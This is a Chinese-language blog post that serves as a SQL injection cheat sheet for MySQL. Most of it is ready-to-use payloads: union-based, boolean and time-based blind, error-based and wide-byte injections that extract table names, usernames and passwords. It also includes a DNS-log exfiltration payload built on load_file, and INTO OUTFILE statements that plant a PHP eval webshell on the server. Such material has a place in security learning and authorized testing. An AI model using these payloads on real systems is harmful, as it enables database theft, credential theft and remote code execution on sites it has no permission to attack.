SQL注入原理及利用方式

前言

在Web表单递交或输入域名或页面请求的查询字符串,通过后端语言连接数据库并查询数据,攻击者可利用此漏洞拼接恶意语句获取大量数据。

SQL注入漏洞

在表单页面或者存在参数传递的地方可能存在SQL注入漏洞。

SQL注入漏洞类型

SQL注入类型可分为两大类:数字型注入(不需要添加特殊字符即可闭合)和字符型注入(需要添加特殊字符如 ' " ; ) , %等字符用作闭合语句)

字符型注入和数字型注入又可以分为具体的 UNION(联合查询)注入、盲注(分为时间盲注和布尔型盲注)、报错注入、堆叠注入、宽字节注入、二次注入、请求头注入、写入webshell

以下注入语句get或post传参均可用,有时候特殊字符如空格引号需转为url编码

联合注入语句

点击查看代码
数字型:
id=1 and 1=1# 
id=1 order by 3#
id=-1 union select 1,2,3#
id=-1 union select 1,2,database()# //查当前数据库
id=-1 union select 1,2,user()#  //查当前用户
id=-1 union select 1,2,version()#  //查数据库版本
id=-1 union select 1,2,table_name from information_schema.tables where table_schema=database()# //查当前数据库的表
id=-1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='表名'# //查当前数据库的对应的表的字段名
id=-1 union select 1,2,username from 表名# //查用户名数据
id=-1 union select 1,2,password from 表名# //查用户密码数据
字符型(以下以单引号为例):
id=1' and 1=1# 
id=1' order by 3#
id=-1' union select 1,2,3#
id=-1' union select 1,2,database()# //查当前数据库
id=-1' union select 1,2,user()#  //查当前用户
id=-1' union select 1,2,version()#  //查数据库版本
id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()# //查当前数据库的表
id=-1' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='表名'# //查当前数据库的对应的表的字段名
id=-1' union select 1,2,username from 表名# //查用户名数据
id=-1' union select 1,2,password from 表名# //查用户密码数据

盲注语句

点击查看代码

布尔盲注

布尔盲注数字型:
id=1 and 1=1%23 //判断是否为布尔型注入
id=1 and (length(database()))>8%23 //查询当前数据库的长度
id=1 and (ascii(substr(database(),1,1)))<120%23 //查询当前数据库名称
id=1 and (select count(*) from information_schema.tables where table_schema='xx')>4%23 //查询xx数据库下有多少张表
id=1 and  (length((select table_name from information_schema.tables where table_schema='xx' limit 0,1)))=6%23  //查询xx数据库下第一张表的长度,如果要查第二张表及把limit 0,1 改为 limit 1,1
id=1 and  (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100)%23  //查询xx数据库下,第一张表的表名第一位,查询其他表的名字
id=1 and  (select count(*) from information_schema.columns where table_schema='security' and table_name='users')=3%23 //查询xx数据库下,users表中有多少个字段
id=1 and  (length((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1)))=2%23 //判断xx数据库下users的第一个字段的长度
id=1 and  (ascii(substr((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1),1,1)))=105 %23 //查询xx数据库下,users表里面的第一个字段的第一位是多少
id=1 and (ascii(substr((select username from users limit 0,1),1,1)))=68 %23 //得到字段探测username第一条数据
布尔盲注字符型(以单引号为例):
id=1' and 1=1%23 //判断是否为布尔型注入
id=1' and (length(database()))>8%23 //查询当前数据库的长度
id=1' and (ascii(substr(database(),1,1)))<120%23 //查询当前数据库名称
id=1' and (select count(*) from information_schema.tables where table_schema='xx')>4%23 //查询xx数据库下有多少张表
id=1' and  (length((select table_name from information_schema.tables where table_schema='xx' limit 0,1)))=6%23  //查询xx数据库下第一张表的长度,如果要查第二张表及把limit 0,1 改为 limit 1,1
id=1' and  (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100)%23  //查询xx数据库下,第一张表的表名第一位,查询其他表的名字
id=1' and  (select count(*) from information_schema.columns where table_schema='security' and table_name='users')=3%23 //查询xx数据库下,users表中有多少个字段
id=1' and  (length((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1)))=2%23 //判断xx数据库下users的第一个字段的长度
id=1' and  (ascii(substr((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1),1,1)))=105 %23 //查询xx数据库下,users表里面的第一个字段的第一位是多少
id=1' and (ascii(substr((select username from users limit 0,1),1,1)))=68 %23 //得到字段探测username第一条数据

时间盲注

时间盲注数字型:
id=1 and sleep(5) %23 //判断是否存在延迟函数
id=1 and if((length(database()))>7,sleep(5),1) --+ //查询当前数据库的长度,如果正确那么就延迟5秒

id=1 and if((substr(database(),1,1)='s'),sleep(5),1)  %23 //判断当前数据库名是否为s

id=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)  %23 //第二种 判断当前数据库名第一位ascii是否为115

id=1 and if((select count(*) from information_schema.tables where table_schema='xx')=4,sleep(5),1)%23  //查询表数量

id=1 and if((select length((select table_name from information_schema.tables where table_schema='xx' limit 3,1))=5),sleep(5),1)%23  //查询表名长度

id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema='xx' limit 3,1),1,1)))=117,sleep(5),1)%23 //截取表名第一位

id=1 and if(((select count(*) from information_schema.columns where table_schema='xx' and table_name='users')=3),sleep(5),1)%23 //查询列字段数量

id=1 and if((select length((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1))=2),sleep(5),1)%23 //查询列名长度

id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1),1,1)))=105,sleep(5),1)%23 //截取列名第一位

id=1 and if((select length((select id from users  limit 0,1)))=1,sleep(5),1)%23  //查询id第一条数据的长度

id=1 and if((select ascii(substr((select id from users  limit 0,1),1,1)))=49,sleep(5),1)%23 //获取数据信息内容
时间盲注字符型:
id=1' and sleep(5) %23 //判断是否存在延迟函数
id=1' and if((length(database()))>7,sleep(5),1) --+ //查询当前数据库的长度,如果正确那么就延迟5秒

id=1' and if((substr(database(),1,1)='s'),sleep(5),1)  %23 //判断当前数据库名是否为s

id=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)  %23 //第二种 判断当前数据库名第一位ascii是否为115

id=1' and if((select count(*) from information_schema.tables where table_schema='xx')=4,sleep(5),1)%23  //查询表数量

id=1' and if((select length((select table_name from information_schema.tables where table_schema='xx' limit 3,1))=5),sleep(5),1)%23  //查询表名长度

id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema='xx' limit 3,1),1,1)))=117,sleep(5),1)%23 //截取表名第一位

id=1' and if(((select count(*) from information_schema.columns where table_schema='xx' and table_name='users')=3),sleep(5),1)%23 //查询列字段数量

id=1' and if((select length((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1))=2),sleep(5),1)%23 //查询列名长度

id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_schema='xx' and table_name='users' limit 0,1),1,1)))=105,sleep(5),1)%23 //截取列名第一位

id=1' and if((select length((select id from users  limit 0,1)))=1,sleep(5),1)%23  //查询id第一条数据的长度

id=1' and if((select ascii(substr((select id from users  limit 0,1),1,1)))=49,sleep(5),1)%23 //获取数据信息内容

报错注入

点击查看代码
报错注入数字型:
floor报错
id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23 

extractvalue()函数报错
id=1 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23  

updatexml()函数报错
id=1 select * from test where id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))%23 //updatexml()函数报错查数据库


id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23 //updatexml()函数报错查表


id=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23 //updatexml()函数报错查字段


id=1 and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23 //updatexml()函数报错查数据

geometrycollection()函数报错
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b))

multipoint()函数报错
id=1 select * from test where id=1 and multipoint((select * from(select * from(select user())a)b))

polygon()函数报错
id=1 select * from test where id=1 and polygon((select * from(select * from(select user())a)b))

multipolygon()函数报错
id=1 select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b))


linestring()函数报错
id=1 select * from test where id=1 and linestring((select * from(select * from(select user())a)b))

multilinestring()函数报错
id=1 select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()函数报错
id=1 select * from test where id=1 and exp(~(select * from(select user())a))

堆叠注入

点击查看代码
堆叠注入的原理 :  mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够。

二次注入

点击查看代码
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

宽字节注入

点击查看代码
原理:当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。
宽字节注入条件:
(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数
附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
id=-1%81’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name = 0x7573657273   //查字段名

id=-1%81’ union select 1,group_concat(column_name),3 from information_schema.coumns where table_schema= database() and table_name = (select table_name from information_schema.tables where table_schema = database() limit 3,1) //查字段名,与以上方法适用,在引号被过滤可用此方法绕过

dnslog盲注

点击查看代码
利用条件:
mysql.ini中secure_file_priv必须为空
●secure_file_priv 为null 不允许导入导出
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下
●secure_file_priv 为空时 则不做限制允许导入导出
域名 http://www.dnslog.cn/
语句:' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23 //其中0j7pyz.dnslog.cn是获取到dnslog的域名,可与其他语句拼接使用

请求头注入

点击查看代码
只要请求头插入到了页面上,那么就可以尝试请求头注入
请求头注入分为三类:UA头注入、Referer头注入、Cookie注入
注入方式上述几种用法大多可用

写入webshell

点击查看代码
条件:
(1)当前sql注入用户必须为DBA权限(--is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空
语句:
id=1 union select 1,2,'<?php @eval($_POST["cmd"])?>' into dumpfile 'c:/www/info.php'#
id=1 union select 1,2,'<?php @eval($_POST["cmd"])?>' into outfile 'c:/www/info.php'#

SQL注入漏洞判断与利用

1.首先在登录页面或者有GET传参的地方,尝试单引号、双引号、括号、百分号(或者前面几种的叠加使用)进行报错
2.根据注入类型制定不同的查询方式
3.查数据库
4.根据利用查到的数据库查询表和字段,最后获取用户数据

posted @ 2023-05-28 23:14  Vice_2203  阅读(184)  评论(0编辑  收藏  举报